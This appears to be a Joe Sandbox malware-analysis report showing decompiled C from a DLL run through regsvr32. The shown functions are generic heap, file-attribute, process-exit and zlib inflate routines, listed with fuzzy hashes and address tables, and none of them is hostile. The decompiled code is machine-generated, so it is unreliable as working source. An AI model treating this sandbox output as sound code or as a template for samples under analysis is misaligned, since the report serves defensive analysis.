Opcode Fuzzy Hash: 45b7ee33097885d0e299f1cde360e87f494a795357d5ef65be16f5a081a317c1
Instruction Fuzzy Hash: 98216075D00619EFEB10EFA8DCC5D9EB7F8FF48380F10406AE905A7155D731AA418B60

Uniqueness

Uniqueness Score: -1.00%

Function 100094F4, Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E100094F4(char _a4, intOrPtr _a8) {
				char _t3;
				intOrPtr _t4;
				void* _t9;

				_t3 = _a4;
				if(_t3 == 0) {
					return _t3;
				}
				_t9 =  *_t3;
				if(_t9 != 0) {
					 *_t3 =  *_t3 & 0x00000000;
					_t4 = _a8;
					if(_t4 != 0xffffffff) {
						if(_t4 == 0xfffffffe) {
							_t4 = E1000C8FB(_t9);
						}
					} else {
						_t4 = E1000C90F(_t9);
					}
					E1000957E(_t9, 0, _t4);
					_t3 = RtlFreeHeap( *0x1002b804, 0, _t9); // executed
				}
				return _t3;
			}

0x100094f7
0x100094fc
0x10009542
0x10009542
0x100094ff
0x10009503
0x10009505
0x10009508
0x1000950e
0x1000951c
0x10009520
0x10009520
0x10009510
0x10009511
0x10009516
0x10009529
0x1000953a
0x1000953a
0x00000000

APIs

RtlFreeHeap.NTDLL(00000000,00000000,10020560,0000011C), ref: 1000953A

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 72fde4219d5b8f1de59b32832971e223ff9ff4378b3ad7e98fb66e064bdb4243
Instruction ID: 1b8eb54f6f6020df66b073a90dc4b31b79c13f95c18d7834651924635785ebf8
Opcode Fuzzy Hash: 72fde4219d5b8f1de59b32832971e223ff9ff4378b3ad7e98fb66e064bdb4243
Instruction Fuzzy Hash: 2DF0E531901E246BFB52DB259C41F9E3798DF02BF2F340210F918AA1E5DB20AE4183D4

Uniqueness

Uniqueness Score: -1.00%

Function 1000B8D9, Relevance: 1.5, APIs: 1, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1000B8D9(WCHAR* _a4) {

				return 0 | GetFileAttributesW(_a4) != 0xffffffff;
			}

0x1000b8f2

APIs

GetFileAttributesW.KERNELBASE(10002774,?,10002774,?), ref: 1000B8E4

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: fadfac4e8bb9191e63df709478d91316802b229932896100e4229db320abb57e
Instruction ID: e9eb9a3eaaa24b6401500d538761607dc940844bf606bb1217a1be40d02b39e6
Opcode Fuzzy Hash: fadfac4e8bb9191e63df709478d91316802b229932896100e4229db320abb57e
Instruction Fuzzy Hash: C1C08C3522860C5FCB041B38DC8184C3B98EB082303100224F439C62F0E622E8508A40

Uniqueness

Uniqueness Score: -1.00%

Function 10009568, Relevance: 1.5, APIs: 1, Instructions: 8
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10009568(long _a4) {
				void* _t2;

				_t2 = RtlAllocateHeap( *0x1002b804, 8, _a4); // executed
				return _t2;
			}

0x10009576
0x1000957d

APIs

RtlAllocateHeap.NTDLL(00000008,?,?,1000AC93,00000100,?,10002E84), ref: 10009576

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 68ddf7ceefe3a9c8b8779cc9f814c1717df0aa44303db222d39c084fcccf0f01
Instruction ID: 051d78b4371a9c06c2ba2cf9adce899d3ccfdc2828684eb0753480745cfc59a3
Opcode Fuzzy Hash: 68ddf7ceefe3a9c8b8779cc9f814c1717df0aa44303db222d39c084fcccf0f01
Instruction Fuzzy Hash: 51B09231080A18FBFA012B91EC86E84BF6EE708791F188010F60C04072CB7364259B90

Uniqueness

Uniqueness Score: -1.00%

Function 10002FB1, Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10002FB1() {
				void* _t3;

				 *((intOrPtr*)(_t3 + 0x2c))( *0x1002b758, 0xffffffff);
				ExitProcess(0);
			}

0x10002fb9
0x10002fc3

APIs

ExitProcess.KERNEL32(00000000), ref: 10002FC3

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 6627bd345fcba76878f306eb37f25aada93063def8c01525278bd670c252b952
Instruction ID: 40d880a807522da1b832257a9a84bc82cde49933656a76eb8665d5b9519cfa4e
Opcode Fuzzy Hash: 6627bd345fcba76878f306eb37f25aada93063def8c01525278bd670c252b952
Instruction Fuzzy Hash: E1C0487021C8659FEB505BA4CD88F147BE1EB88322F6643A1F929DA2F5CA3094029B20

Uniqueness

Uniqueness Score: -1.00%

Function 10009605, Relevance: 1.5, APIs: 1, Instructions: 6
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10009605() {
				void* _t1;

				_t1 = HeapCreate(0, 0x80000, 0); // executed
				 *0x1002b804 = _t1;
				return _t1;
			}

0x1000960e
0x10009614
0x10009619

APIs

HeapCreate.KERNELBASE(00000000,00080000,00000000,10002E5F), ref: 1000960E

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 0bcc1b5f74d81a97be6a4a6908a16d1444893c6f4c04df50b90575a8fce5ffc4
Instruction ID: 2966c98a12726032417503b15369e0528b5328108ef809054152ef8324e76c57
Opcode Fuzzy Hash: 0bcc1b5f74d81a97be6a4a6908a16d1444893c6f4c04df50b90575a8fce5ffc4
Instruction Fuzzy Hash: 94B002746C571057F6506B504D86B0439A57744B42F384455F745991D5DAB010059A15

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 1001C24F, Relevance: 8.1, Strings: 6, Instructions: 577
COMMONCrypto

Download Yara Rule

C-Code - Quality: 81%

			E1001C24F(void* __edi) {
				signed int _t164;
				unsigned int _t172;
				unsigned int _t173;
				signed int _t174;
				signed int _t176;
				signed int _t178;
				signed int _t179;
				signed int _t182;
				signed int _t184;
				unsigned int _t185;
				int _t186;
				int _t194;
				signed char _t200;
				signed int _t207;
				signed int _t208;
				signed int _t209;
				int _t210;
				int _t222;
				signed int _t227;
				signed int _t235;
				signed int _t251;
				signed char _t252;
				unsigned int _t253;
				signed char _t254;
				signed int* _t255;
				signed int _t258;
				signed int _t259;
				signed int _t260;
				signed int _t266;
				intOrPtr _t271;
				signed char _t278;
				signed int _t279;
				char* _t280;
				signed int _t282;
				signed char _t284;
				signed int _t287;
				signed int _t291;
				int _t292;
				int _t293;
				int _t296;
				int _t298;
				int _t302;
				signed int _t305;
				signed char _t311;
				signed char _t312;
				signed char _t315;
				signed char _t316;
				signed int _t318;
				int _t319;
				int _t320;
				signed char _t322;
				int _t324;
				int _t326;
				int _t330;
				signed int _t333;
				signed char _t336;
				signed char _t337;
				signed char _t339;
				int _t341;
				signed int _t347;
				int _t349;
				intOrPtr _t350;
				intOrPtr _t351;
				unsigned int _t356;
				unsigned int _t361;
				signed int _t364;
				signed int _t365;
				intOrPtr _t367;
				void* _t368;
				intOrPtr* _t380;
				void* _t381;
				intOrPtr* _t389;
				void* _t390;
				signed int _t395;
				void* _t396;
				signed int _t397;
				void* _t403;
				void* _t405;
				intOrPtr* _t412;
				void* _t413;
				signed int _t414;
				void* _t416;
				intOrPtr* _t423;
				void* _t424;
				unsigned int _t430;
				signed int _t431;
				void* _t434;
				signed int* _t435;
				void* _t439;

				 *((intOrPtr*)(__edi + 0x56))();
				asm("pushfd");
				_t435 = _t434 - 0x40;
				asm("cld");
				_t395 = _t435[0x16];
				_t367 =  *((intOrPtr*)(_t395 + 0x1c));
				_t164 =  *_t395;
				_t435[0xb] = _t164;
				_t435[5] =  *((intOrPtr*)(_t395 + 4)) + _t164 - 0xb;
				_t271 =  *((intOrPtr*)(_t395 + 0x10));
				_t251 =  *(_t395 + 0xc);
				_t435[0xf] = _t251;
				_t435[0xa] =  ~(_t435[0x17] - _t271) + _t251;
				_t435[4] = _t271 - 0x101 + _t251;
				_t435[2] =  *(_t367 + 0x4c);
				_t435[3] =  *(_t367 + 0x50);
				 *_t435 = (1 <<  *(_t367 + 0x54)) - 1;
				_t435[1] = (1 <<  *(_t367 + 0x58)) - 1;
				_t172 =  *(_t367 + 0x28);
				_t347 =  *(_t367 + 0x34);
				_t435[0xd] = _t172;
				_t435[0xc] =  *(_t367 + 0x30);
				_t435[0xe] = _t347;
				_t430 =  *(_t367 + 0x38);
				_t252 =  *(_t367 + 0x3c);
				_t396 = _t435[0xb];
				_t278 = _t435[5];
				if(_t278 > _t396) {
					L2:
					if((_t396 & 0x00000003) != 0) {
						_t396 = _t396 + 1;
						_t278 = _t252;
						_t252 = _t252 + 8;
						_t172 = 0 << _t278;
						_t430 = _t430 | _t172;
						goto L2;
					}
					goto L4;
				} else {
					_t341 = _t278 + 0xb - _t396;
					_t172 = memset(_t396 + _t341 + _t341, 0, memcpy( &(_t435[7]), _t396, _t341) << 0);
					_t435 =  &(_t435[6]);
					_t278 = 0;
					_t396 =  &(_t435[7]);
					_t435[5] = _t396;
					L4:
					_t368 = _t435[0xf];
					while(1) {
						_t439 =  *0x1002a010 - 2;
						if(_t439 == 0) {
							break;
						}
						if(_t439 > 0) {
							do {
								if(_t252 <= 0xf) {
									asm("lodsw");
									_t322 = _t252;
									_t252 = _t252 + 0x10;
									_t430 = _t431 | 0 << _t322;
								}
								_t173 =  *(_t435[2] + ( *_t435 & _t430) * 4);
								while(1) {
									_t253 = _t252 - _t173;
									_t431 = _t430 >> _t173;
									if(_t173 == 0) {
										asm("stosb");
										goto L22;
									}
									_t356 = _t173 >> 0x10;
									_t311 = _t173;
									if((_t173 & 0x00000010) == 0) {
										if((_t173 & 0x00000040) != 0) {
											L97:
											if((_t173 & 0x00000020) == 0) {
												_t280 = "invalid literal/length code";
												_t350 = 0x1a;
											} else {
												_t280 = 0;
												_t350 = 0xb;
											}
											L101:
											_t174 = _t435[0x16];
											if(_t280 != 0) {
												 *(_t174 + 0x18) = _t280;
											}
											 *((intOrPtr*)( *((intOrPtr*)(_t174 + 0x1c)))) = _t350;
											goto L104;
										}
										_t173 =  *(_t435[2] + (((0x00000001 << _t311) - 0x00000001 & _t431) + _t356) * 4);
										continue;
									}
									_t312 = _t311 & 0x0000000f;
									if(_t312 != 0) {
										if(_t253 < _t312) {
											asm("lodsw");
											_t339 = _t253;
											_t253 = _t253 + 0x10;
											_t431 = _t431 | 0 << _t339;
											_t312 = _t339;
										}
										_t253 = _t253 - _t312;
										_t235 = (0x00000001 << _t312) - 0x00000001 & _t431;
										_t431 = _t431 >> _t312;
										_t356 = _t356 + _t235;
									}
									_t435[6] = _t356;
									if(_t253 <= 0xf) {
										asm("lodsw");
										_t337 = _t253;
										_t253 = _t253 + 0x10;
										_t431 = _t431 | 0 << _t337;
									}
									_t200 =  *(_t435[3] + (_t435[1] & _t431) * 4);
									while(1) {
										_t361 = _t200 >> 0x10;
										_t253 = _t253 - _t200;
										_t431 = _t431 >> _t200;
										_t315 = _t200;
										if((_t200 & 0x00000010) != 0) {
											break;
										}
										if((_t200 & 0x00000040) != 0) {
											L96:
											_t280 = "invalid distance code";
											_t350 = 0x1a;
											goto L101;
										}
										_t200 =  *(_t435[3] + (((0x00000001 << _t315) - 0x00000001 & _t431) + _t361) * 4);
									}
									_t316 = _t315 & 0x0000000f;
									if(_t316 == 0) {
										if(_t361 != 1 || _t435[0xa] == _t368) {
											L38:
											_t435[0xb] = _t396;
											_t207 = _t368 - _t435[0xa];
											if(_t207 < _t361) {
												_t208 = _t435[0xd];
												_t318 =  ~_t207;
												_t414 = _t435[0xe];
												if(_t208 < _t361) {
													L100:
													_t396 = _t435[0xb];
													_t280 = "invalid distance too far back";
													_t350 = 0x1a;
													goto L101;
												}
												_t319 = _t318 + _t361;
												if(_t435[0xc] != 0) {
													_t209 = _t435[0xc];
													if(_t319 <= _t209) {
														_t416 = _t414 + _t209 - _t319;
														_t210 = _t435[6];
														if(_t210 > _t319) {
															_t210 = memcpy(_t368, _t416, _t319);
															_t435 =  &(_t435[3]);
															_t368 = _t416 + _t319 + _t319;
															_t416 = _t368 - _t361;
														}
													} else {
														_t416 = _t414 + _t435[0xd] + _t209 - _t319;
														_t324 = _t319 - _t209;
														_t210 = _t435[6];
														if(_t210 > _t324) {
															_t210 = memcpy(_t368, _t416, _t324);
															_t435 =  &(_t435[3]);
															_t368 = _t416 + _t324 + _t324;
															_t416 = _t435[0xe];
															_t326 = _t435[0xc];
															if(_t210 > _t326) {
																_t210 = memcpy(_t368, _t416, _t326);
																_t435 =  &(_t435[3]);
																_t368 = _t416 + _t326 + _t326;
																_t416 = _t368 - _t361;
															}
														}
													}
												} else {
													_t416 = _t414 + _t208 - _t319;
													_t210 = _t435[6];
													if(_t210 > _t319) {
														_t210 = memcpy(_t368, _t416, _t319);
														_t435 =  &(_t435[3]);
														_t368 = _t416 + _t319 + _t319;
														_t416 = _t368 - _t361;
													}
												}
												_t320 = _t210;
												memcpy(_t368, _t416, _t320);
												_t435 =  &(_t435[3]);
												_t368 = _t416 + _t320 + _t320;
												_t396 = _t435[0xb];
												goto L22;
											}
											_t423 = _t368 - _t361;
											_t330 = _t435[6] - 3;
											 *_t368 =  *_t423;
											_t424 = _t423 + 3;
											 *((char*)(_t368 + 1)) =  *((intOrPtr*)(_t423 + 1));
											 *((char*)(_t368 + 2)) =  *((intOrPtr*)(_t423 + 2));
											memcpy(_t368 + 3, _t424, _t330);
											_t435 =  &(_t435[3]);
											_t368 = _t424 + _t330 + _t330;
											_t396 = _t435[0xb];
										} else {
											_t389 = _t368 - 1;
											_t222 =  *_t389;
											_t333 = _t435[6] - 3;
											 *(_t389 + 1) = _t222;
											 *(_t389 + 2) = _t222;
											 *(_t389 + 3) = _t222;
											_t390 = _t389 + 4;
											memset(_t390, _t222, _t333 << 0);
											_t435 =  &(_t435[3]);
											_t368 = _t390 + _t333;
										}
										goto L22;
									}
									if(_t253 < _t316) {
										asm("lodsw");
										_t336 = _t253;
										_t253 = _t253 + 0x10;
										_t431 = _t431 | 0 << _t336;
										_t316 = _t336;
									}
									_t253 = _t253 - _t316;
									_t227 = (0x00000001 << _t316) - 0x00000001 & _t431;
									_t431 = _t431 >> _t316;
									_t361 = _t361 + _t227;
									goto L38;
								}
								L22:
							} while (_t435[4] > _t368 && _t435[5] > _t396);
							L104:
							if( *0x1002a010 == 2) {
								_t253 = _t431;
							}
							_t176 = _t435[0x16];
							_t351 =  *((intOrPtr*)(_t176 + 0x1c));
							_t282 = _t253 >> 3;
							_t397 = _t396 - _t282;
							_t254 = _t253 - (_t282 << 3);
							 *(_t176 + 0xc) = _t368;
							 *(_t351 + 0x3c) = _t254;
							_t284 = _t254;
							_t255 =  &(_t435[7]);
							if(_t435[5] == _t255) {
								_t266 =  *_t176;
								_t435[5] = _t266;
								_t397 = _t397 - _t255 + _t266;
								_t435[5] = _t435[5] +  *((intOrPtr*)(_t176 + 4)) - 0xb;
							}
							 *_t176 = _t397;
							_t258 = (1 << _t284) - 1;
							if( *0x1002a010 == 2) {
								asm("psrlq mm0, mm1");
								asm("movd ebp, mm0");
								asm("emms");
							}
							 *(_t351 + 0x38) = _t431 & _t258;
							_t259 = _t435[5];
							if(_t259 <= _t397) {
								 *((intOrPtr*)(_t176 + 4)) =  ~(_t397 - _t259) + 0xb;
							} else {
								 *((intOrPtr*)(_t176 + 4)) = _t259 - _t397 + 0xb;
							}
							_t260 = _t435[4];
							if(_t260 <= _t368) {
								 *((intOrPtr*)(_t176 + 0x10)) =  ~(_t368 - _t260) + 0x101;
							} else {
								 *((intOrPtr*)(_t176 + 0x10)) = _t260 - _t368 + 0x101;
							}
							asm("popfd");
							return _t176;
						}
						_push(_t172);
						_push(_t252);
						_push(_t278);
						_push(_t347);
						asm("pushfd");
						 *_t435 =  *_t435 ^ 0x00200000;
						asm("popfd");
						asm("pushfd");
						_pop(_t364);
						_t365 = _t364 ^  *_t435;
						if(_t365 == 0) {
							L15:
							 *0x1002a010 = 3;
							L16:
							_pop(_t347);
							_pop(_t278);
							_pop(_t252);
							_pop(_t172);
							continue;
						}
						asm("cpuid");
						if(_t252 != 0x756e6547 || _t278 != 0x6c65746e || _t365 != 0x49656e69) {
							goto L15;
						} else {
							asm("cpuid");
							if(0xd != 6 || (_t365 & 0x00800000) == 0) {
								goto L15;
							} else {
								 *0x1002a010 = 2;
								goto L16;
							}
						}
					}
					asm("emms");
					asm("movd mm0, ebp");
					_t431 = _t252;
					asm("movd mm4, dword [esp]");
					asm("movq mm3, mm4");
					asm("movd mm5, dword [esp+0x4]");
					asm("movq mm2, mm5");
					asm("pxor mm1, mm1");
					_t253 = _t435[2];
					do {
						asm("psrlq mm0, mm1");
						if(_t431 <= 0x20) {
							asm("movd mm6, ebp");
							asm("movd mm7, dword [esi]");
							_t396 = _t396 + 4;
							asm("psllq mm7, mm6");
							_t431 = _t431 + 0x20;
							asm("por mm0, mm7");
						}
						asm("pand mm4, mm0");
						asm("movd eax, mm4");
						asm("movq mm4, mm3");
						_t173 =  *(_t253 + _t172 * 4);
						while(1) {
							_t279 = _t173 & 0x000000ff;
							asm("movd mm1, ecx");
							_t431 = _t431 - _t279;
							if(_t173 == 0) {
								break;
							}
							_t349 = _t173 >> 0x10;
							if((_t173 & 0x00000010) == 0) {
								if((_t173 & 0x00000040) != 0) {
									goto L97;
								}
								asm("psrlq mm0, mm1");
								asm("movd ecx, mm0");
								_t173 =  *(_t253 + ((_t279 &  *(0x1001c1cc + (_t173 & 0x0000000f) * 4)) + _t349) * 4);
								continue;
							}
							_t178 = _t173 & 0x0000000f;
							if(_t178 != 0) {
								asm("psrlq mm0, mm1");
								asm("movd mm1, eax");
								asm("movd ecx, mm0");
								_t431 = _t431 - _t178;
								_t349 = _t349 + (_t279 &  *(0x1001c1cc + _t178 * 4));
							}
							asm("psrlq mm0, mm1");
							if(_t431 <= 0x20) {
								asm("movd mm6, ebp");
								asm("movd mm7, dword [esi]");
								_t396 = _t396 + 4;
								asm("psllq mm7, mm6");
								_t431 = _t431 + 0x20;
								asm("por mm0, mm7");
							}
							asm("pand mm5, mm0");
							asm("movd eax, mm5");
							asm("movq mm5, mm2");
							_t179 =  *(_t435[3] + _t178 * 4);
							while(1) {
								_t287 = _t179 & 0x000000ff;
								_t253 = _t179 >> 0x10;
								_t431 = _t431 - _t287;
								asm("movd mm1, ecx");
								if((_t179 & 0x00000010) != 0) {
									break;
								}
								if((_t179 & 0x00000040) != 0) {
									goto L96;
								}
								asm("psrlq mm0, mm1");
								asm("movd ecx, mm0");
								_t179 =  *(_t435[3] + ((_t287 &  *(0x1001c1cc + (_t179 & 0x0000000f) * 4)) + _t253) * 4);
							}
							_t182 = _t179 & 0x0000000f;
							if(_t182 == 0) {
								if(_t253 != 1 || _t435[0xa] == _t368) {
									L76:
									_t435[0xb] = _t396;
									_t184 = _t368 - _t435[0xa];
									if(_t184 < _t253) {
										_t185 = _t435[0xd];
										_t291 =  ~_t184;
										_t403 = _t435[0xe];
										if(_t185 < _t253) {
											goto L100;
										}
										_t292 = _t291 + _t253;
										if(_t435[0xc] != 0) {
											_t186 = _t435[0xc];
											if(_t292 <= _t186) {
												_t405 = _t403 + _t186 - _t292;
												if(_t349 > _t292) {
													_t349 = _t349 - _t292;
													memcpy(_t368, _t405, _t292);
													_t435 =  &(_t435[3]);
													_t368 = _t405 + _t292 + _t292;
													_t405 = _t368 - _t253;
												}
											} else {
												_t405 = _t403 + _t435[0xd] + _t186 - _t292;
												_t296 = _t292 - _t186;
												if(_t349 > _t296) {
													_t349 = _t349 - _t296;
													memcpy(_t368, _t405, _t296);
													_t435 =  &(_t435[3]);
													_t368 = _t405 + _t296 + _t296;
													_t405 = _t435[0xe];
													_t298 = _t435[0xc];
													if(_t349 > _t298) {
														_t349 = _t349 - _t298;
														memcpy(_t368, _t405, _t298);
														_t435 =  &(_t435[3]);
														_t368 = _t405 + _t298 + _t298;
														_t405 = _t368 - _t253;
													}
												}
											}
										} else {
											_t405 = _t403 + _t185 - _t292;
											if(_t349 > _t292) {
												_t349 = _t349 - _t292;
												memcpy(_t368, _t405, _t292);
												_t435 =  &(_t435[3]);
												_t368 = _t405 + _t292 + _t292;
												_t405 = _t368 - _t253;
											}
										}
										_t293 = _t349;
										_t172 = memcpy(_t368, _t405, _t293);
										_t435 =  &(_t435[3]);
										_t368 = _t405 + _t293 + _t293;
										_t396 = _t435[0xb];
										_t253 = _t435[2];
										goto L64;
									}
									_t412 = _t368 - _t253;
									_t302 = _t349 - 3;
									 *_t368 =  *_t412;
									_t413 = _t412 + 3;
									 *((char*)(_t368 + 1)) =  *((intOrPtr*)(_t412 + 1));
									 *((char*)(_t368 + 2)) =  *((intOrPtr*)(_t412 + 2));
									_t172 = memcpy(_t368 + 3, _t413, _t302);
									_t435 =  &(_t435[3]);
									_t368 = _t413 + _t302 + _t302;
									_t396 = _t435[0xb];
									_t253 = _t435[2];
									goto L64;
								} else {
									_t380 = _t368 - 1;
									_t194 =  *_t380;
									_t305 = _t349 - 3;
									 *(_t380 + 1) = _t194;
									 *(_t380 + 2) = _t194;
									 *(_t380 + 3) = _t194;
									_t381 = _t380 + 4;
									_t172 = memset(_t381, _t194, _t305 << 0);
									_t435 =  &(_t435[3]);
									_t368 = _t381 + _t305;
									_t253 = _t435[2];
									L64:
									if(_t435[4] <= _t368) {
										goto L104;
									}
									goto L65;
								}
							}
							asm("psrlq mm0, mm1");
							asm("movd mm1, eax");
							asm("movd ecx, mm0");
							_t431 = _t431 - _t182;
							_t253 = _t253 + (_t287 &  *(0x1001c1cc + _t182 * 4));
							goto L76;
						}
						_t172 = _t173 >> 0x10;
						asm("stosb");
						goto L64;
						L65:
					} while (_t435[5] > _t396);
					goto L104;
				}
			}

0x1001c24f
0x1001c254
0x1001c255
0x1001c258
0x1001c259
0x1001c25d
0x1001c263
0x1001c26a
0x1001c26e
0x1001c276
0x1001c279
0x1001c28a
0x1001c28e
0x1001c292
0x1001c29c
0x1001c2a0
0x1001c2af
0x1001c2bd
0x1001c2c1
0x1001c2c7
0x1001c2ca
0x1001c2ce
0x1001c2d2
0x1001c2d6
0x1001c2d9
0x1001c2dc
0x1001c2e0
0x1001c2e6
0x1001c30a
0x1001c310
0x1001c316
0x1001c317
0x1001c319
0x1001c31c
0x1001c31e
0x00000000
0x1001c31e
0x00000000
0x1001c2e8
0x1001c2eb
0x1001c2fe
0x1001c2fe
0x1001c2fe
0x1001c300
0x1001c304
0x1001c322
0x1001c322
0x1001c326
0x1001c326
0x1001c32d
0x00000000
0x00000000
0x1001c333
0x1001c3a0
0x1001c3a3
0x1001c3a7
0x1001c3a9
0x1001c3ab
0x1001c3b0
0x1001c3b0
0x1001c3bb
0x1001c3be
0x1001c3c0
0x1001c3c2
0x1001c3c6
0x1001c3cb
0x1001c3cb
0x1001c3cb
0x1001c3e3
0x1001c3e6
0x1001c3ea
0x1001c4e6
0x1001c7fa
0x1001c7fc
0x1001c80a
0x1001c80f
0x1001c7fe
0x1001c7fe
0x1001c803
0x1001c803
0x1001c826
0x1001c826
0x1001c82c
0x1001c82e
0x1001c82e
0x1001c834
0x00000000
0x1001c834
0x1001c4fc
0x00000000
0x1001c4fc
0x1001c3f0
0x1001c3f3
0x1001c3f7
0x1001c3fd
0x1001c3ff
0x1001c401
0x1001c406
0x1001c408
0x1001c408
0x1001c412
0x1001c414
0x1001c416
0x1001c418
0x1001c418
0x1001c41a
0x1001c421
0x1001c425
0x1001c427
0x1001c429
0x1001c42e
0x1001c42e
0x1001c43a
0x1001c43d
0x1001c43f
0x1001c444
0x1001c446
0x1001c448
0x1001c44c
0x00000000
0x00000000
0x1001c506
0x1001c7ee
0x1001c7ee
0x1001c7f3
0x00000000
0x1001c7f3
0x1001c51c
0x1001c51c
0x1001c452
0x1001c455
0x1001c4bf
0x1001c47e
0x1001c47e
0x1001c484
0x1001c48a
0x1001c526
0x1001c52a
0x1001c52c
0x1001c532
0x1001c816
0x1001c816
0x1001c81a
0x1001c81f
0x00000000
0x1001c81f
0x1001c538
0x1001c53f
0x1001c565
0x1001c56b
0x1001c59b
0x1001c59d
0x1001c5a3
0x1001c5a7
0x1001c5a7
0x1001c5a7
0x1001c5ab
0x1001c5ab
0x1001c56d
0x1001c573
0x1001c575
0x1001c577
0x1001c57d
0x1001c581
0x1001c581
0x1001c581
0x1001c583
0x1001c587
0x1001c58d
0x1001c591
0x1001c591
0x1001c591
0x1001c595
0x1001c595
0x1001c58d
0x1001c57d
0x1001c541
0x1001c543
0x1001c545
0x1001c54b
0x1001c54f
0x1001c54f
0x1001c54f
0x1001c553
0x1001c553
0x1001c54b
0x1001c5ad
0x1001c5af
0x1001c5af
0x1001c5af
0x1001c5b1
0x00000000
0x1001c5b1
0x1001c496
0x1001c498
0x1001c49d
0x1001c4a5
0x1001c4a8
0x1001c4ab
0x1001c4b1
0x1001c4b1
0x1001c4b1
0x1001c4b3
0x1001c4c7
0x1001c4c7
0x1001c4cc
0x1001c4ce
0x1001c4d1
0x1001c4d4
0x1001c4d7
0x1001c4da
0x1001c4dd
0x1001c4dd
0x1001c4dd
0x1001c4dd
0x00000000
0x1001c4bf
0x1001c459
0x1001c45f
0x1001c461
0x1001c463
0x1001c468
0x1001c46a
0x1001c46a
0x1001c474
0x1001c476
0x1001c478
0x1001c47a
0x00000000
0x1001c47a
0x1001c3cc
0x1001c3cc
0x1001c838
0x1001c83f
0x1001c841
0x1001c841
0x1001c843
0x1001c849
0x1001c84c
0x1001c84f
0x1001c854
0x1001c856
0x1001c859
0x1001c85c
0x1001c85e
0x1001c866
0x1001c86a
0x1001c86c
0x1001c870
0x1001c878
0x1001c878
0x1001c87c
0x1001c885
0x1001c88d
0x1001c88f
0x1001c892
0x1001c895
0x1001c895
0x1001c899
0x1001c89c
0x1001c8a2
0x1001c8b5
0x1001c8a4
0x1001c8a9
0x1001c8a9
0x1001c8b8
0x1001c8be
0x1001c8d7
0x1001c8c0
0x1001c8c8
0x1001c8c8
0x1001c8dd
0x1001c8e2
0x1001c8e2
0x1001c335
0x1001c336
0x1001c337
0x1001c338
0x1001c339
0x1001c33d
0x1001c344
0x1001c345
0x1001c346
0x1001c347
0x1001c349
0x1001c38f
0x1001c38f
0x1001c399
0x1001c399
0x1001c39a
0x1001c39b
0x1001c39c
0x00000000
0x1001c39c
0x1001c34d
0x1001c355
0x00000000
0x1001c367
0x1001c36c
0x1001c377
0x00000000
0x1001c383
0x1001c383
0x00000000
0x1001c383
0x1001c377
0x1001c355
0x1001c5bc
0x1001c5be
0x1001c5c1
0x1001c5c3
0x1001c5c7
0x1001c5ca
0x1001c5cf
0x1001c5d2
0x1001c5d5
0x1001c5dc
0x1001c5dc
0x1001c5e2
0x1001c5e4
0x1001c5e7
0x1001c5ea
0x1001c5ed
0x1001c5f0
0x1001c5f3
0x1001c5f3
0x1001c5f6
0x1001c5f9
0x1001c5fc
0x1001c5ff
0x1001c602
0x1001c602
0x1001c605
0x1001c608
0x1001c60c
0x00000000
0x00000000
0x1001c629
0x1001c62e
0x1001c716
0x00000000
0x00000000
0x1001c71f
0x1001c722
0x1001c72e
0x00000000
0x1001c72e
0x1001c634
0x1001c637
0x1001c639
0x1001c63c
0x1001c63f
0x1001c642
0x1001c64b
0x1001c64b
0x1001c64d
0x1001c653
0x1001c655
0x1001c658
0x1001c65b
0x1001c65e
0x1001c661
0x1001c664
0x1001c664
0x1001c66b
0x1001c66e
0x1001c671
0x1001c674
0x1001c677
0x1001c677
0x1001c67c
0x1001c67f
0x1001c681
0x1001c686
0x00000000
0x00000000
0x1001c73a
0x00000000
